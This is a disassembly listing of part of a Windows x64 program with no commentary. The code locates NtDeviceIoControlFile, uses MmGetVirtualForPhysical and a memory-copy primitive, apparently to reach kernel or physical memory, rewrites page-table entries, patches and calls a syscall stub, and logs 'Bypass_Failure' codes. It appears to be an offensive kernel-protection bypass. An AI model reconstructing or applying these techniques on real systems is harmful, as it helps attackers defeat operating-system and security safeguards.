jmp 0x1400921d8
mov r8d, 0x1000
mov rdx, rbx
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x50], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x58], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x1400921d3
cmp word [rax], r14w
jne 0x1400921d3
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x1400921d3
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400921d3
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400921d3
nop word [rax + rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x14009232a
inc rbx
cmp rbx, r15
jb 0x1400921b0
mov eax, 1
test eax, eax
jne 0x140092233
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
mov r8d, send
lea rdx, str.Bypass_Failure
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Code:_0x4_:_0x7
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.14003cf90
mov r8, qword [rbp + 0x160]
lea rcx, str.MmGetVirtualForPhysical
mov rdx, qword [rbp - 0x70]
movabs rax, 0xfffffffff000
and r8, rax
call fcn.1400d3ec0
mov r13, qword [rbp + 0x188]
mov r15, rax
test rax, rax
je 0x14009226b
test r13, r13
jne 0x1400922c2
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
mov r8d, send
lea rdx, str.Bypass_Failure
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Code:_0x4_:_0x8
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.14003cf90
xor r12d, r12d
xor r14d, r14d
xor ebx, ebx
mov rsi, r15
nop dword [rax]
mov rdx, qword [rbp - 0x70]
lea r8, [rbp + 0x188]
mov r9, rsi
mov qword [rbp + 0x188], r12
lea rcx, str.memcpy
mov qword [rsp + 0x20], 8
call fcn.1400d97e0
test byte [rbp + 0x188], 1
movabs r9, 0x8000000000000067
je 0x1400924e8
inc rbx
add rsi, 8
cmp rbx, 0x100
jb 0x1400922d0
mov rbx, qword [rbp - 0x70]
jmp 0x14009259d
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400921d3
mov r15d, dword [rcx + 4]
test r15d, r15d
js 0x1400921d3
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x3d54], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x29d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop
lea rcx, [rbp + 0x29d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x2b0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400923c0
mov r8d, 0x1000
lea rdx, [rbp + 0x2b0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r15d
lea rbx, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0x168]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0x168], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x58]
lea rax, [rbp - 0x48]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp - 0x48]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1f8]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0x168]
lea r9, [rbp + 0x168]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
jns 0x1400921d3
xor eax, eax
jmp 0x1400921d8
mov r8, qword [rbp + 0x1a0]
mov r14, rbx
shl r14, 0x37
xor edx, edx
sar r14, 0x10
mov r12d, ebx
movabs r10, 0xffffc0000000
movabs r11, 0x8000000000000000
lea rax, [r14 + r13]
shr rax, 0x1e
and eax, 0x1ff
xor ecx, ecx
mov qword [r8], rcx
cmp rdx, rax
jne 0x140092541
mov rcx, rdx
shl rcx, 0x1e
and rcx, r10
xor rcx, 0xe7
or rcx, r11
mov qword [r8], rcx
inc rdx
add r8, 8
cmp rdx, 0x200
jb 0x140092520
mov rax, qword [rsp + 0x60]
movabs rcx, 0xfffffffff000
mov rbx, qword [rbp - 0x70]
and rax, rcx
or rax, r9
mov qword [rsp + 0x20], 8
lea r9, [rbp + 0x188]
mov qword [rbp + 0x188], rax
mov r8, rsi
lea rcx, str.memcpy
mov rdx, rbx
call fcn.1400d97e0
movabs r9, 0x8000000000000067
xor ecx, ecx
lea rax, [r14 + r13]
test byte [rax], 1
je 0x1400925be
inc rcx
add rax, 8
cmp rcx, 0x100
jb 0x1400925a3
mov r13, qword [rbp - 0x50]
jmp 0x1400925f1
movabs rax, 0xfffffffff000
and rdi, rax
lea rax, [r14 + rcx*8]
or rdi, r9
shl rcx, 0x37
mov qword [rax + r13], rdi
mov r13, qword [rbp - 0x50]
mov rax, qword [rbp + 0x198]
sar rcx, 0x10
mov qword [r13 + 8], rax
mov qword [r13], rcx
lea eax, [r12*8]
mov qword [rbp + 0x220], 0
movsxd r8, eax
lea r9, [rbp + 0x220]
add r8, r15
mov qword [rsp + 0x20], 8
mov rdx, rbx
lea rcx, str.memcpy
call fcn.1400d97e0
cmp qword [r13], 0
je 0x140092637
cmp qword [r13 + 8], 0
jne 0x14009268e
lea rcx, [rbp + 0x1d8]
call fcn.14003cdd0
mov r8d, send
lea rdx, str.Bypass_Failure
lea rcx, [rbp + 0x1d8]
call fcn.14003ce50
lea rcx, [rsp + 0x70]
call fcn.14003cdd0
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.Code:_0x4_:_0x9
lea rcx, [rsp + 0x70]
call fcn.14003ce50
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x70]
call fcn.14003cf90
mov r14, qword [0x140328f28]
xor edi, edi
mov rax, qword [r14 + 8]
mov rsi, qword [r14]
lea rcx, [rax + rax*2]
lea r15, [rcx*8 + 0x10]
test rsi, rsi
jle 0x14009273c
lea rbx, [r14 + 0x10]
nop word [rax + rax]
movups xmm1, xmmword [rbx]
movsd xmm0, qword [rbx + 0x10]
movq rax, xmm1
movsd qword [rbp + 0x208], xmm0
test rax, rax
je 0x14009272e
psrldq xmm1, 8
movq r8, xmm1
test r8, r8
je 0x14009272e
movzx ecx, byte [rbp + 0x208]
test cl, cl
jne 0x140092700
xor edx, edx
mov rcx, rax
call fcn.1401d1c40
jmp 0x14009272e
cmp cl, 1
jne 0x14009272e
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.140040c90
xor edx, edx
lea rcx, [rbp + 0x1d8]
call fcn.1400bca40
lea rcx, [rbp + 0x1d8]
call fcn.1400b87b0
inc edi
add rbx, 0x18
movsxd rax, edi
cmp rax, rsi
jl 0x1400926c0
mov r8, r15
xor edx, edx
mov rcx, r14
call fcn.1401d1c40
mov rcx, r14
call fcn.1401a6090
mov rax, r13
mov qword [0x140328f28], 0
mov rcx, qword [rbp + 0x199f0]
xor rcx, rsp
call fcn.140190770
mov rbx, qword [rsp + 0x19b40]
add rsp, 0x19b00
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret